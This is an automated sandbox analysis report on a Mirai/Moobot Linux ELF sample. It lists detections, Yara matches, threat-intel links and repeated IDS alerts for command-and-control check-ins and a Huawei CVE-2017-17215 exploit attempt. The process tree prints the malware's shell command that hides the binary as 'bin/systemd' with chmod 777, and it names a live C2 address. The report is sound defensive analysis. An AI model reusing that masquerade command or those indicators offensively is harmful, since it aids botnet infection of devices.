Edit tour

Linux Analysis Report
k5IgePZIDB.elf

Overview

General Information

Sample name:	k5IgePZIDB.elf renamed because original name is a hash value
Original sample name:	c18cbeefc9ddca95553511b7fe42ac31.elf
Analysis ID:	1410278
MD5:	c18cbeefc9ddca95553511b7fe42ac31
SHA1:	84e7395752684c6d5353ecff9b0045cfc14e30f3
SHA256:	f0c477a69418ed0128339b1cd8a3fd5b60ed93b877a36e15bcd2e0577261d487
Tags:	32elfmiraisparc
Infos:

Detection

Mirai, Moobot

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Yara detected Moobot

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Sets full permissions to files and/or directories

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1410278
Start date and time:	2024-03-17 03:42:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	k5IgePZIDB.elf renamed because original name is a hash value
Original Sample Name:	c18cbeefc9ddca95553511b7fe42ac31.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/1025@146/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/k5IgePZIDB.elf
PID:	5494
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

k5IgePZIDB.elf (PID: 5494, Parent: 5417, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/k5IgePZIDB.elf

k5IgePZIDB.elf New Fork (PID: 5496, Parent: 5494)

sh (PID: 5496, Parent: 5494, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/k5IgePZIDB.elf bin/systemd; chmod 777 bin/systemd"

sh New Fork (PID: 5498, Parent: 5496)

rm (PID: 5498, Parent: 5496, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/systemd

sh New Fork (PID: 5499, Parent: 5496)

mkdir (PID: 5499, Parent: 5496, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin

sh New Fork (PID: 5500, Parent: 5496)

mv (PID: 5500, Parent: 5496, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/k5IgePZIDB.elf bin/systemd

sh New Fork (PID: 5501, Parent: 5496)

chmod (PID: 5501, Parent: 5496, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 bin/systemd

k5IgePZIDB.elf New Fork (PID: 5502, Parent: 5494)

k5IgePZIDB.elf New Fork (PID: 5504, Parent: 5502)

k5IgePZIDB.elf New Fork (PID: 5506, Parent: 5502)

xfce4-session New Fork (PID: 5526, Parent: 3011)

xfdesktop (PID: 5526, Parent: 3011, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 21e3a5141-81ff-45e8-a564-651b5b7002ba

xfce4-session New Fork (PID: 5527, Parent: 3011)

xfdesktop (PID: 5527, Parent: 3011, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 21e3a5141-81ff-45e8-a564-651b5b7002ba

xfce4-session New Fork (PID: 5530, Parent: 3011)

xfdesktop (PID: 5530, Parent: 3011, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 21e3a5141-81ff-45e8-a564-651b5b7002ba

xfce4-session New Fork (PID: 5535, Parent: 3011)

xfdesktop (PID: 5535, Parent: 3011, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 21e3a5141-81ff-45e8-a564-651b5b7002ba

xfce4-session New Fork (PID: 5544, Parent: 3011)

xfdesktop (PID: 5544, Parent: 3011, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 21e3a5141-81ff-45e8-a564-651b5b7002ba

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://media.defense.gov/2024/Feb/27/2003400753/-1/-1/0/CSA-RUSSIAN-ACTORS-USE-ROUTERS-FACILITATE-CYBER_OPERATIONS.PDF https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
k5IgePZIDB.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
k5IgePZIDB.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
k5IgePZIDB.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
k5IgePZIDB.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf498:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf510:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf524:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf538:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf54c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf560:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf574:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf588:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf59c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf5b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf5c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf5d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf5ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5494.1.00007fec7c011000.00007fec7c023000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
5494.1.00007fec7c011000.00007fec7c023000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5494.1.00007fec7c011000.00007fec7c023000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5494.1.00007fec7c011000.00007fec7c023000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf498:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf510:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf524:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf538:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf54c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf560:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf574:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf588:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf59c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf5b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf5c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf5d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf5ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: k5IgePZIDB.elf PID: 5494	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: k5IgePZIDB.elf PID: 5494	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: k5IgePZIDB.elf PID: 5494	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x6020:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6034:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6048:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x605c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6070:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6084:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6098:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x60ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x60c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x60d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x60e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x60fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6110:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6124:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6138:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x614c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6160:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6174:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6188:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x619c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x61b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 2 entries

Snort Signatures

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:42.914529
SID:	2030490
Source Port:	57126
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:04.357854
SID:	2030490
Source Port:	56886
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:05.174827
SID:	2030490
Source Port:	56888
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 154.215.111.49

Timestamp:	03/17/24-03:44:35.718754
SID:	2835222
Source Port:	53444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:57.787034
SID:	2030490
Source Port:	57168
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:42.145016
SID:	2030490
Source Port:	57124
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:03.548799
SID:	2030490
Source Port:	56884
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:29.686704
SID:	2030490
Source Port:	57090
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:01.995970
SID:	2030490
Source Port:	56880
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:56.256030
SID:	2030490
Source Port:	57162
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:40.572289
SID:	2030490
Source Port:	57120
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:53.610116
SID:	2030490
Source Port:	57006
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:02.776666
SID:	2030490
Source Port:	56882
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:57.024066
SID:	2030490
Source Port:	57166
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:55.341922
SID:	2030490
Source Port:	57008
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:41.358009
SID:	2030490
Source Port:	57122
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:25.268624
SID:	2030490
Source Port:	56926
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:16.326747
SID:	2030490
Source Port:	56916
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:26.055875
SID:	2030490
Source Port:	56928
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:17.119864
SID:	2030490
Source Port:	56918
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:39.792899
SID:	2030490
Source Port:	57118
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:00.449286
SID:	2030490
Source Port:	56876
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:07.501125
SID:	2030490
Source Port:	56894
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:09.135836
SID:	2030490
Source Port:	56898
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:48.093246
SID:	2030490
Source Port:	56990
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:42:59.687669
SID:	2030490
Source Port:	56874
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:08.311948
SID:	2030490
Source Port:	56896
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:26.544625
SID:	2030490
Source Port:	57080
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:05.955238
SID:	2030490
Source Port:	56890
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:42:58.909732
SID:	2030490
Source Port:	56872
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:42:58.115556
SID:	2030490
Source Port:	56870
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:15.486063
SID:	2030490
Source Port:	56914
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:06.729944
SID:	2030490
Source Port:	56892
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:29.206709
SID:	2030490
Source Port:	56936
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:21.852819
SID:	2030490
Source Port:	57066
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:52.831381
SID:	2030490
Source Port:	57002
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:14.014923
SID:	2030490
Source Port:	57044
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:44.151915
SID:	2030490
Source Port:	56978
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:05.076291
SID:	2030490
Source Port:	57022
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:05.875716
SID:	2030490
Source Port:	57024
Destination Port:	43957
Protocol:	TCP
